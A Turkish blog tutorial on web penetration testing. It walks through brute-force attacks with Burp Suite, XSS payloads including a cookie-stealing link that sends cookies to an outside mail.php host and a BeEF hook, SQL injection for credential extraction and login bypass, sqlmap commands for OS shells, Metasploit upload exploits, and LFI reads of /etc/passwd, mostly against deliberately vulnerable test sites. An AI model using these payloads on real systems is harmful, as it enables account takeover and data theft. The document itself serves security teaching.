Web Uygulamalarına Yönelik Güvenlik
by Suat Münüklü · Published · Updated
10. WEB UYGULAMALARINA YÖNELİK GÜVENLİK TESTLERİ
10.1 Web Sunucu Bilgilerinin Bulunması Dirbuster ile Altdizinlerin Tespit Edilmesi
10.1.1 Web Sunucu Bilgilerinin Bulunması
Nmap –sT –sV –n –v –Pn munuklu.com
//hedef ip adresine nmap ile tarama yaparız ve hedef alacağımız sistemde öncelikli olarak hangi sistemler çalışıyor (asp,php v.b) onları gözlemlemiş oluruz.
10.1.2 Alt Dizinlerin Bulunması
Domaine ait alt dizinlerin bulunması için dirbuster aracını kullanabiliriz.Komut arayüzünden dirbuster komutu ile uygulamayı açabiliriz yada applications kısmında bulabiliriz.
Eğer ki Dirbuster’da proxy kullanmak istiyor isek “Options > Advanced Options ” kısmında “Http Options” kısmında proxy tanımlayabiliriz.
10.2 Bir Web Sitesine Ait Tüm Sayfaların Bulunması
Hedef sistemin Domain’inene ping atılarak ip adresi bulunur. Bulunan ip adresini arama motorunda
“ ip:hedefipsi” yazarak bulabilirsiniz.
10.3 FireForce ile Şifre Kırma Saldırıları
10.3.1 Html Form Kimlik Denetimi Kullanan Sayfalara Kaba Kuvvet Saldırısı FireForce
Form authentication kullanan sayfalara kaba kuvvet saldırı yapmak için firefox eklentisi olan Fireforce eklentisini kullanabiliriz.İlk önce firefox tarayıcısını yükleriz sonra fireforce eklentisini tarayıcaya ekleriz. Burada dikkat etmeniz gereken birşey Fireforce yazılımcıları yazılımı güncellemedikleri için sadece firefox’un eski sürümünde çalışmaktadır. O yüzden fireforce yüklemek için firefox’un 22.* sürümlerinden birine ihtiyacınız var. Öncelikle Firefox’un 22.* sürümlerinden birini kuruyorsunuz.
10.4 BurpSuite
10.4.1 Burp Suite Form Authentication olan Sitelere Dictionary Attack
İlk Önce burp suite uygulaması çalıştırılır.Daha sonra tarayıcı açılarak proxy ayarlarından 127.0.0.1:8080 olarak ayarlanır.Daha sonra atak yapılacak login sayfasına giriş yapılır.
Bursuite programında proxy sekmesi seçilerek interecept on seçilir ve daha sonra brute force yapacağımız sayfadan login olmaya çalışılır.Burp suite araya girer.
Send to intruder seçeneği seçilir.
Sadece kullanici ve şifre bölümleri seçilir diğer alanlar clear ile temizlenir ve saldırı tipi olarak cluster bomb seçilir.
Saırayla 1 ve 2 seçilerek kendi oluşturduğumuz doslayalardaki kullanıcı ve şifre listesi load sekmesinden aktarılır.
Start attack diyerek artık kaba kuvvet saldırısı başlatılır.
Eğer şifre bulunduysa bunu response bölümünden görebiliriz.
10.4.2 Burp Suite İle Http Basic Authentication Kimlik Denetimi Kullanan Sayfalara Dictionary Atağı
Burpsuite programı ile httpd basic authentication kullanan sayfalara sözlük saldırısı gerçekleştirrek hedef sistemin şifre ile korunan içerğine erişebiliriz.
##İlkÖnce taracıyı açılarak proxy ayarları yapılır.
burpsuite
##Burpsuıte programı çalıştırılır.
##Burpsuite Programı açıldıktan sonra Proxy seçeneğindeyken intercept is off seçilir.
##Şifresini Kırmak İstediğimiz Siteye(demo.suatmunuklu.com) Girilerek Rastgele kullanıcı adı ve şifre doldurulur ve ok demeden önce burpsuite programından intercept özelliği on yapılır.
##İntercept özelliği on yapıldıktan sonra sayfa açılarak ok seçeneği seçilir.
##proxy sekmesindeyken sağa tıklayıp send intruder seçenği seçilir ve intruder sekmesine geçilir.
##intruder-position sekmesinde iken önce clear seçilir daha sonra payload seçilerek add seçeneğine tıklarız.
##İlk Önce Payload Type Custom İterator seçilir. Postion 1 seçili iken denenecek kullanıcı isimlerini ekleriz .Ve seperate değerini : karakteri olarak ekleriz.
##position 2seçili iken denenecek şifreleri ekleriz.Ve payload processing kuralı olarak encode-base64 kuralını ekleriz.
##Tüm ayarları yaptıktan sonra start attack diyerek saldırıyı başlatırız.
##sonuçları kontrol ettiğimizde Sayfaya erişim yapabilmemizi sağlayacak payloadı görebiliriz(YWRtaW46MTIzMzIx).Hangi Denemenin başarılı olduğunu status kodlara bakarak anlayabiliriz 200 kodlu olan başarılı olandır.
#Respnse Seçeneğini seçtiğimizde sayfaya eriştiğimizi görebiliriz.
##Artık Bu payloadı decode ederek kullanıcı şifre bilglerine erişebiliriz.
10.5 XssCross Side Scripting Saldırıları
Cross site scripting (XSS), bilgisayar güvenlik açığıdır. HTML kodlarının arasına istemci tabanlı kod gömülmesi yoluyla kullanıcının tarayıcısında istenen istemci tabanlı kodun çalıştırılabilmesi olarak tanımlanır.
Saldırgan legal olan ama xss açığı bulunan sitenin linkine kendi hazırladığı javascripti ekler .Kurban bu linke tıkladığında saldırganın scriptide kurbanın tarayıcısında çalışır ve kullanıcı cookie vs bilgileri saldırganın kendi istediği herhangi bir yere gönderelir. Bu saldırı tipi reflected xss olarak geçer.
Eğer Ziyaretçi defteri bulunan sayfalarda xss açığı varsa javascript kodu veritabanına kaydedilebilir. Bu tür xss Açıklarına Stored xss Açığı denir ve diğerlerine göre daha tehlikelidir.
Xss açıklarını manuel olarak deneme yanılma yöntemleri ile bulabiliriz.Genelde arama yapılabilen form sayfalarında bulunma ihtimali daha yüksektir.Bu açığı bulmak için googleda aşağıdai aramaları gerçekleştirebiliriz.
inurl:”/search.php?go=”
inurl:”news.php?id=”
inurl:”index.php?id=”
inurl:”?id=”
- Arama yapıbilen sayafada arama kutucuğuna
<script>alert(“uyarı”);</script>
kod parçasını yazarak arama tuşuna basarız eğer ekrana uyarı mesajı basılırsa açık var demektir.
- http://testasp.vulnweb.com/Search.asp?tfSearch=Suat url adresine sahip sitede
http://testasp.vulnweb.com/Search.asp?tfSearch=<script>alert(“uyari”);</script>
şeklinde değiştirip tekrar görüntüleriz eğer xss açığı varsa yine ekrana uyarı mesajı gelirse açık var demektir.
Ziyaretçi defteri bulunan sayfaya forma
<script>alert(“uyari”);</script>
kodlarına ekleyerek gönder deriz.Eğer ekrana yine uyarı mesajı gelirse bu sayfada stored xss açığı var demektir.
Stored xss Açığı bulunan Sayfada Sayfayı ziyaret edenleri istediğimiz başka bir sayfaya yönlendirmek için yorum olarak
<script>window.location=’https://www.suatmunuklu.com'</script >
scripti eklenbilir.Boylece Kurbanlar sayfayı ziyaret ettiklerinde artık zazarlı yazılım bulunduran sayfaya yönlenirler.
10.6 Xss ile Cookie Bilgilerini Mail Olarak Gönderme
Örnek olarak asp ile yazılmış ve test edilmesi için çeşitli açıklıklar barındıran bu siteyi deneyebiliriz. http://testasp.vulnweb.com/Search.asp sayafasına giderek arama kutucuğuna
<script>alert(“uyarı”);</script> java scriptini ekleyerek arama yaptığımızda ekrana uyari mesajının basılacağını görürüz. Ayrıca arama kutusuna:
<script>alert(document.cookie);</script> yazdığımzda ekrana cokkie bilgisinin basıldığınıda görebiliriz. Yani bu sayfada reflected xss açığı mevcuttur.O halde bu sayfayı kullnarak bu sitede login olan bir kurbanın cokkie bilgilerini çalmayı deneyebiliriz.
http://testasp.vulnweb.com/Search.asp?tfSearch=<script>location.href=”http://linux.suatmunuklu.com/mail/mail.php?suat=”+document.cookie;</script>
testasp.vulnweb.com/Search.asp?tfSearch=<script>location.href%3D’http%3A%2F%2linux.suatmunuklu.com%2Fmail%2Fmail.php%3
Fsuat%3D’%2Bdocument.cookie%3B<%2Fscript>
//Yukardaki linki artık kurbana tıklattığımızda kurbanın cookie bilglilerini email olarak alabiliriz.
Elde edilen cookie ile firefox eklentisi olan cookie manager+ eklentisiyle kurbanın hesabı ile login olabiliriz.
Php İle Mail Gönderebilmek için bu uygulamada da kullanılan php mail gönderme scriptini bu adresten İndirebilirsiniz.
10.7 XSS ile Kullanıcı Browserini Yönetme
xss açığını bulduğumuz siteyi kullanarak beef programı ile kullanıcının browserini ele geçirebiliriz. bunun önce xss açığı olan bir site bulup sonra kali üzerinde beef yazılımını kurup kurbana gerekli olan linki tıklattırmamız gerekir. Beef artık kalinin çoğu sürümünde otomatik olarak gelmektedir. Sizde kurulu olabilir.
Apt-get install beef-css
cd /usr/share/beef-xss
./beef
#Beef başlatıldıktan sonar localhost:3000/ui/panel adresinden beef:beef kullanıcı adı ve şifresiyle login olabiliriz. Bundan sonra yapmamız gereken kurbanlara aşağıdaki linki tıklatmak yeterli kalacaktır.
**** <script src=http://KALIİP:3000/hook.js></script> *****
http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%20src=http://KALI-IP:3000/hook.js%3E%3C/script%3E
(http://testasp.vulnweb.com/Search.asp?tfSearch=)
10.8 OWASP Kurulumu
Sızma testlerinde Çeşitli Açıklıkları barıdıran owasp mutillidae yazılımını kullanabiliriz.
https://github.com/webpwnized/mutillidae adresinden son versiyon yazan mutillidae zip dosyasını indirebiliriz.
İndirme işlemlerini yapmadıktan önce öncelikle ortamımızı hazırlamamız gerek bunun için apache , mysql , php gibi yazılımların kurulu olması gerek.Kurmanız ve veritabanı ayarlarınızın yapmanız için gerekli tüm bilgileri aşağıda tarafınıza paylaşıyor olacağım.
* apt-get install apache2 -y (Apache kurulumu)
* a2enmod rewrite (Modu aktif ediyoruz. Bazen apache2 servisini restart etmemizi istiyebilir)
* /etc/apache2/apache2.conf (Conf dosyasına gidip /var/www klasörünün AllowOverride değerini all yapıyorum.
* apt-get install php libapache2-mod-php (Php kuruyoruz)
* apt-get install mysql-server php-mysql
—- MYSQL kurulumundan sonra root kullanıcısına şifre tanımlamamız lazım onun için ;
* mysql -u root
* use mysql;
* update user set authentication_string=PASSWORD(‘mutillidae’) where user=’root’;
* pdate user set plugin=’mysql_native_password’ where user=’root’;
* flush privileges;
—- Owasp’in php kodlamaları çalışması için php’in xml , curl, mbstring adında uygulamaları mevcut bunlarıda yüklememiz gerekecek.
* apt-get install php7.2-xml php7.2-curl php7.2-mbstring
Bundan sonra tarafınıza verdigim linkten Owasp indirip ardından Apache syunucunuzun yayın yaptığı klasöre yükleyerek erişim sağlayabilrisiniz. (/var/www/html gibi)
#tarayıcıdan localhost/mutillidae adresinden owasp arayüzüne ulaşabiliriz.(İlk açılışta start-reset db seçmemiz gerekir)
10.9 SQL Injection
10.9.1 Temel Sql İnjection Bilgisi
SQL injection’ı tam olarak anlamak ve uygulayabilmek için iyi seviye sql bilgisi gerekmektedir.
Aşağıdaki sorguların syntax’ı ve kısa açıklamaları sadece hatırlatma amacıyla yazılmıştır. Eğer sql
bilmiyorsanız http://www.w3schools.com/sql/default.asp adresinden sql çalışmanız daha yararlı olacaktır.
Select
Database’den veri seçmek için kullanılır.
SELECT sutun1, sutun2 FROM tablo
Where
SELECT sutun1, sutun2 FROM tablo WHERE sutun1 operator deger
select * from urunler where fiyat=’10’;
LIKE
Where operatörlerinden biridir. Veritabanında arama Yapmak İçin Kullanılabilir.
SELECT * FROM musteriler WHERE isim LIKE %suat%;
Update
Tablodaki kayıtları güncellemek için kullanılır.
UPDATE tablo SET sutun1=deger1, sutun2=deger2,… WHERE sutun=deger
INSERT INTO
Tabloya yeni kayıtlar girmek için kullanılır.
INSERT INTO tablo VALUES (deger1, deger2,…)
ALTER TABLE
Bir tabloya sütun eklemek, varolan sütunları değiştirmek veya silmek için kullanılır.
ALTER TABLE tablo ADD sutun veri_tipi
ALTER TABLE tablo DROP COLUMN sutun
ALTER TABLE tablo MODIFY sutun veri_tipi
UNION
İki veya daha fazla sayıdaki SELECT ifadesini birleştirmek için kullanılır.
SELECT sutun1,sutun2,… FROM tablo1 UNION SELECT sutun6,sutun7,… FROM tablo2
DROP
Tablo, veritabanı ve index silmek için kullanılır.
DROP TABLE tablo
DROP DATABASE veritabanı
ALTER TABLE tablo DROP INDEX index (MySQL)
DROP INDEX index (Oracle)
JOIN
İki ya da daha fazla tablodaki satırları birleştirmek için kullanılır.
SELECT sutun1 FROM tablo1 {JOIN İFADELERİ} tablo2 ON tablo1.sutun = tablo2.sutun
INNER JOIN (ya da sadece JOIN): Birleştirilen tabloların hepsinde, en az bir eşleşme olduğunda bütün satırları döndürür.
LEFT JOIN: Birleştirilen sağdaki tablolardaki eşleşmeleri soldaki tablonun bütün satırları ile birlikte döndürür.
RIGHT JOIN: Birleştirilen soldaki tablolardaki eşleşmeleri sağdaki tablonun bütün satırları ile birlikte döndürür.
FULL JOIN: Birleştirilen tabloların sadece birinde eşleşme olduğunda bütün satırları döndürür.
10.9.2 Sql İnjection Nedir ?
Bir uygulama Kullanılarak veritabanınına gönderilen sql kodlarına saldırganlar tarafından sql kodu enjekte edilmesine sql injection(sql enjeksiyon) denir.
Saldırganlar uygulama üzerinden sql injection yaparken meta karakterler kullanabilirler.
Meta-karakter bir program için özel anlamı olan karakterlere verilen isimdir. Örnek olarak C temelli C#, Javascript, PHP gibi dillerde (\) backslash karakteri bir meta-karakterdir. Compiler (derleyici) ya da Interpreter (yorumlayıcı) bu karakteri görünce ondan sonraki karakteri ona göre işler.
SQL’ için kritik metakarakter (‘) tek tırnak’ tır. Çünkü iki tek tırnağın arası string olarak algılanır. Diğer bir önemli meta-karakter ise (;) noktalı virgüldür, satırın bittiğini ve yeni satır başladığını bildirir.
10.9.3 Sql İnjection Çeşitleri
Veri çekme yöntemine göre:
- Inband
- Out of band
Sunucudan dönen cevaba göre:
- Hata tabanlı SQL Injection
- Union
- Double
- Blind SQL Injection
- Boolean tabanlı
- Zaman tabanlı
Veri tipine göre:
- String tabanlı
- Integer tabanlı
Inband: Web sitedeki girdi noktalarıyla aynı bağlantıyı kullanarak yapılan sql enjeksiyonlarıdır.
Out of band: Web sitelerindeki girdi noktalarının dışında bir kanal kullanılarak (Ör: UTL_HTTP ve DNS) yapılan enjeksiyonlardır. Dosyaya yazma ifadeleri (into outfile) kullanarak gerçekleştirilir.
Hata Tabanlı: Hata verdirmek üzere yapılan enjeksiyonlardır. Hata verdirdikten sonra hem zafiyetten emin olunur hem de hata mesajından kullanılan sisteme ait önemli bilgiler elde edilebilir.
Bu bilgiler daha sonraki sorgular için kullanılabilir.
Union: Hata tabanlı sql injectionlarda kullanılan sorgulardan biridir. Union sorguları iki ya da daha fazla select ifadesini birleştirirmek için kullanılır.
Double: Hata tabanlı sql injection metodlarından biridir. Temel olarak bu yöntem iki sql sorgusunu tek bir sorgu ifadesinde birleştirerek hata verdirmeye çalışmaktır. Blind sql enjeksiyonu yöntemlerinden çok daha hızlıdır.
Boolean Tabanlı: Mantıksal ifadenin sonucuna (True ya da False) göre çalışan sorgular için yapılan sql enjeksiyonlarıdır.
Zaman Tabanlı: Diğer bir blind sql injection yöntemlerinden biridir. Sorgu sonucu gözükmediğinden, sorgunun çalışıp çalışmadığı sleep() benchmark() gibi fonksiyonlar yardımıyla anlaşılır.
Veri Tipine Göre: Zayıflığın bulunduğu parametrenin aldığı değerin veri tipine göre yapılan enjeksiyonlardır. Integer ya da string olabilir.
Örnek:
http://dvwa/sayfa.php?id=Mehmet Adresinin sonuna tırnak(‘) işareti koyup tekrar çalıştırdığımızda eğer sayfaya sql hata kodları donuyorsa bu sayfada hata tabanlı sql injection yakalamış oluruz.
Örnek:
http://dvwa/sayfa.php?id=Suat adresininn sonuna ‘and 1=’1 ve ‘and 1=’2 ekleriz ve eğer ikisinde farklı sonuç alırsak bu şekilde blind sql injection Açığını yakalamış oluruz.
Örnek:
##Url ‘nin Sonuna Tırnak(‘) işareti ekleyerek Sayfayı tekrar çalıştırırız ve sayda herhangi bir sql hata kodu varsa muhtemenlen bu sayfada sql injection açığı vardır.(Bu şekilde sqlinjection bulma yönetimne hata bazlı sql injection bulma yöntemi denir).Hata Kodu Donduğunde artık id dğişkeni ile alınan değerin sql sorgusunda kullanıldığını anlamış oluruz ve Kendi sql kodlarımızı enjekt etmeye çalışabiliriz. Aşağıda gördügünüz resimde bize sorulan alanda bir değer girmemiz istemektedir. Bu değeri görüntüledigimizde veritabanına erişerek veri çektiğini görmekteyiz.
Bu değeri sorguladığımızda ” select first_name , last_name from users WHERE user_id = ‘1’ ” çalıştırdıgını gözlemleriz. Tabi biz bunun yanına or komutu ile hem last_name’in hemde first_name‘in 1. columns değerlerini çekeceğiz.
Bize gördügünüz gibi ” ‘or ‘1’=’1 ” yazarak tüm kullanıcılar getirmiş bulunmakta. Tabi bize kritik bilgiler gerek bunun için UNION çalıştırmamız lazım. ama öncelikle ORDER BY kullanarak kaçtane sutün seçebildigimizi görüntülememiz lazım
” ‘ or ‘1’=’1′ ORDER BY 2# ” ve bir kaç denemeye yanılma yönetimi yaparak 2 tane seçtiğini gözlemliyorum. 3 taneyi denedigimde hata verdigini gözlemliyorum. Onun hata çıktısı aşağıda ki gibidir.
2 tane sutün seçtigini gözlemleyebildim. Bu durumda UNİON kodunu artık kullanabilirim. Tabi SQL kodlamasını bozmadan tekrardan ” ‘ or ‘1’=’1′ union select database(),version()# ” yazarak seçii olan database’i ver version bilgisini ögrenebiliyorum. Bu durumda union kodlamasının çalıştığını görebiliyorum.
Bu süreçten sonra UNİON ile gerekli kritik bilgileri çekebilecegim. tabi bana öncelikle Database bilgisi lazım onu zaten demin çalıştırdıgımız kodlama ile görmüş olduk. “dvwa” database adı bunun içinde ki table bilgilerini çekmem gerekecek onun için ise ” 1′ union select table_name, 2 from information_schema.tables WHERE table_schema=’dvwa’ ” yazmamız gerekeccek Bu kısımda ise bize database içinde ki tableları getirecektir.
gördügünüz üzere iki tane table oldugunu gözlemliyorum. guest ve users adında artık bunun içinde ki clumns bilgilerini çekmem lazım , çünkü sutünleri ögrenmem lazım ki içinde ki verileri çekebiyeim. Columns isimlerini çekmek için ise almak istedigim table’n ismine ” 1′ union select column_name, 2 FROM information_schema.columns WHERE table_schema=’dvwa’ AND table_name=’TABLENAME’# ” yazmam gerek , yazdığımda ise
Bize users table’in içinde ki columns bilgilerini getirecektir. Columns bilgilerini ögrendigimize göre artık verisini çekmek istedigim columns ismini yazarak UNION ile içinde ki verileri çekebilirim. Bunun için ise
“1′ UNION select user,password FROM users # ”
Gördügünüz üzere kullanıcının hem user name hemde hashlenmiş password bilgilerini ele geçirmiş olduk.
#sayfadaki koda kendi SQL kodumuzu enjekte ettikten sonra ki hali boyle olur ve veritabanından kullanıcı ve şifre bilgilerini çekmiş oluruz.
##Bu şekilde sql injectioan saldırılarından korunmak için kodlarımızd kullanıcılardan aldığımız inputlarda çeşitli kontoller yaparak kullanıcıların metakarakter kullanmalarını engllememiz gerekir.
Hatalı Kodlar ;
Düzeltilmis Kodlar;
10.9.4 Sql İnjection ile Authentication Bypass
Sql injection açığı bulunan sayfalarda , sql kodları çalıştırarak authentication istenilen sayfalara giriş yapabiliriz yani bypass duruma getirip şifre veya kullanıcı adı istemeden bilmeden giriş yapabiliriz..
Test için kullandığımız OWASP sayfasına erişerek örnek görmek gösterecegim.
* Öncelik OWASP üzerinde username tabında nasıl bir sql sorgusu çalışıyor onu gözlemliyorum.Bunun için meta karakterimi sorgulayarak nasıl bir cevap veriyor ona bakıyorum. (OWASP penetrasyon test ortamı olduğu için bize çıktı olarak verecektir)
*Gördüğüm üzere ” Select * from users WHERE username = ” ” kullanılıyor. Ben bu örnegim de bypass etmek için ” ‘or 1=1 — ” kullandım. Bunu kullandığım zaman ise sorgum tamamen “Select * from users WHERE username = ” OR 1=1 — ‘ ” olacak .
* Sorgumu kullandığım zaman bana giriş izni verecektir.
*Gördügünüz üzere admin kullanıcısı olarak giriş sağlayabildim. Bu şekilde sql kodları kullanarak her hangi bir kullanıcı bilgisine ihtiyacımız olmadan bile rahatlıkla giriş sağlayabildik.
10.9.5 Live Http Header ile Sql İnjection önlemlerini atlatma
SQL injection ile authentication bypass ederek login erişimi sağladık , çoğu kişi bu açığı kapatmak için java kodlama sağlar ve kodlamalarında özel karakterleri veya meta karakterleri engeller. Bu tür durumlarda ise Live http header programı bize yardımcı olacaktır. Live http header programı Firefox eklentisidir. Eski bir eklenti olmakla beraber firefox’un eski sürümlerinde çalışır. Peki java kodlama yazan birisini nasıl bir kodlama yazar aşağıda bulabilirsiniz.
Gözlemlediginiz gibi ” /select/ , /’/ , /union/ gibi karakterlere geçersiz kullanıcı veya şifre olarak tanımla demiş. Peki biz live http’yi kullanarak bu durumu nasıl aşacağız. Öncelikle firefox üzerinden live http header eklentisini kuruyorum.
Kurulum işlemini tamamladıktan sonra saldırı yapacağım login ekranına erişim sağlıyorum. F10 tuşuna basarak yukarıda açılan tools sekmesinden Live Http Headers’ı çalıştırıyorum.
Live Http çalıştırdıktan sonra karşıma boş bir loglama ekranı gelecek. Burası benim firefox browser üzerinde trafigi döndürünce üstünden geçen POST verileri yakalayıp işlem yapacağım yer.
login olacağım ekranın üzerinde verilerin gelmesi amaçlı yanlış bir kullanıcı adı ve şifre girişi sağlıyorum ve sitenin arka planında ne gibi işlem dönüyor onu gözlemliyorum.
Gördügünüz üzere site üzerinde giriş yaptığım veriler gelmiş görünmekte. Username ve password tablarını burada görebiliyorum. Benim bu tabları değiştirmem gerek. Tabları değiştirmek için ise kodlamanın üstüne basıp , replay tuşuna basıyorum.
Replay tuşuna basınca bana kodlama üzerinde veri değişikliği yapmama izin verdi. Send post seçeneği ise sitenin üstüne tekrardan veri göndermemi sağlayacaktır. Burada gerekli değişikliği sağlayıp tekrardan Replay diyerek hedef aldığımız siteye login olmaya çalışıyorum.
Ve gördüğünüz tekrardan ‘or 1=’1 komutunu yani true döndür komutu çalıştırarak admin kullanıcı ile login olmayı başardık.
10.10 Sqlmap Kullanımı
sqlmap ile daha önce sql injection zafiyeti olduğunu bulduğumuz sayfaları kullanarak hedef sistemin veritabanları hakkında bilgiler edinebiliriz.
Sqlmap ile Veritabanında Veri Çekilmesi
sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ –dbs –current-user
Tabloların Bulunması
sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ -D acublog –tables
Tablodaki Sütünların Bulunması
sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ -D acublog -T users –columns
Kullanıcı Adı ve Şifrelerin Çekilmesi
sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ -D acublog -T users -C uname,upass –dump
10.10.1 Sqlmap İle İşletim Sisteminin Ele Geçirilmesi
sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ –os-shell
10.10.2 Sqlmap İle Meterpeter Kabuğu yada VNC Elde etmek
sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ –os-pwn
10.10.3 Sqlmap Proxy ile Kullanımı
sqlmap -u “http://hedef-web-sayfası/index.php?id=2″ -dbms –proxy=”IP:Port” –proxy-cred=”KulAdi:Sifre”
10.11 Put Metodu ile Web Sunucularına Dosya Atılması
Hedef web sunucuları üzerinde eğer http put ve delete metodu açık unutulmuşsa sunucuya put ve delete methodu ile dosya gonderip silebiliriz. Bu zafiyeti metasploit ile sömürülebilir.
msfconsole
use auxilary/scanner/http/http_put
show options
set RHOSTS 192.168.10.0/24
exploit
#Web sunucularına put metodu ile dosya atmayı denetler.
Put methodu açık olan web sunucularında ayrıca webdaw dizinleri varsa bu durumda iis_webdaw_upload_asp expolit modülünü kullanabiliriz.
use exploit/windows/iis/iis_webdav_upload_asp
set RHOSTS 192.168.10.98
exploit
10.12 Http Tamper Data Eklentisi Kullanımı
Http tamper data eklentisi ile tıpkı live httpd header eklentisi gibi http trafiğinde araya girerek veriyi manipüle edebiliriz. Http tamper artık firefox tarafından desteklenmiyor. Ek olarak eklentiyi başka sitelerde bulduğunuz süre zarfında kurulum yapabilirsiniz.
Tools sekmesinden tamper eklentisini sçerek start tamper seçeriz.Sonrada login tuşuna basarız.
Ve tamper eklentisi http trafiğini yakaladı bize bunu manipule etmek isteyip istmedğimizi soruyor bi tamper sçeneğini seçiyoruz.
kullanıcı adı bölümünü admin’ ‘1’=’1′– olacak şekilde giriyoruz şifre bolmune isteidğimizi girebilriiz çunku — karakterleri sağ tarafı yorum haline getiryor.
Gördüğümüz üzere sisteme admin kullanıcı ile login olduk.
10.13 Local File inclusion
Local File İnclusion : yetkisiz olarak sunucudan dosya çağırma işlemidir.Eğer Sunucu yanlış yapılandırılmışsa veya üzerindeki çalışan uygulama kodları hatalı ise bu açığı kullanarak sunucu üzerindeki normalde erişim yetkimiz olmayan dosyaların içeriğini görüntüleyebiliriz.(passwd ,shadow vs dosyaları gibi)
Daha öncede kullandığımız owasp mutilliade yazılımını açarız ve text file viewer sayfasını açarız.
Burpsuite uygulamaısnı çalıştırırız ve tarayıcı ayarlarından tarayıcnın proxy ayarını 127.0.0.1:8080 olacak şekilde ayarlarız.Burpsuite proxy sekmesinde intercept is on seçeriz.
View file deriz böyelece burpsuite uygulaması http trafiğini yakalar.
Gördüğümüz gibi burpsuite paketleri yakaladı bizim yapmamız gereken paket header bilgilerinden textfile header bilgisini değiştirerek /etc/passwd dosyasını yazmak olacak./etc/passwd yazdıktan sonra forward sekmesini seçeriz.
Gördüğümüz gibi owasp web sitesinde lfi açığını kullanarak linux türevli işletim sistemlerinde kritik bilgiler barındıran passwd dosyaısnı görüntülemiş olduk.
10.14 LFI 2
Local file inclusion atağını tek bir dosya için yaptık eğer istersek kendi oluşturduğumuz bir listenin heps için deneme yapabiliriz.
Denemek istediğimiz dosya isimlerini ekleriz.
10.15 Directory Treversal
Directory treversal; dizinler arası geçiş açığıdır.Bu açık sayesinde dizinler arası geçiş yapılarak passwd dosyası gibi kritik dosyalar görüntülenebilir.
10.16 W3AF ile Otomatize Web Güvenlik Testleri
w3af aracı eski linux sürümlerinde otomatik olarak gelmekteyti. Yeni sürümlerde manuel olarak kurmamız gerekecek , bunun için ise ” http://w3af.org/download ” linkine giderek gerekli talimatları izleyebiliriz. Öncelikli olarak kurulum tabına gelmeden önce belirli paketler yüklememiz gerek . Tabi hepsinden önce kali sunucumuzu güncel tutmamız gerek,
apt-get install libssl-dev
apt-get install python-dev libxslt1-dev zlib1g-dev
apt-get install npm
Ardından talitmaları izlerken kullanacağımız pip sürümünü upgrade etmemiz gerekecek onun için ise
pip install –upgrade –force-reinstall pip==9.0.3
Bı paketleri yükledikten sonra gerekli talimatları izleyerek w3af toolunu açabiliriz.
w3af aracı ile web sistelerini otamatize şekilde taratarak açıklıkları bulabiliriz.w3af ile tarama yaptıktan sonra açıklıkları log menüsü altında görebiliriz.
10.17 OWASP ZAP ile Otomatize Web Güvenlik Testleri
Sızma testlerinde hedef web sayfası üzerindeki güvenlik zafiyetlerini owasp-zap programı ile otamatize bir şekilde tarama yaparak bulabiliriz.
Owasp-zap
#Owasp Zap Programını başlatmak için owasp-zap komutunu kullanabiliriz.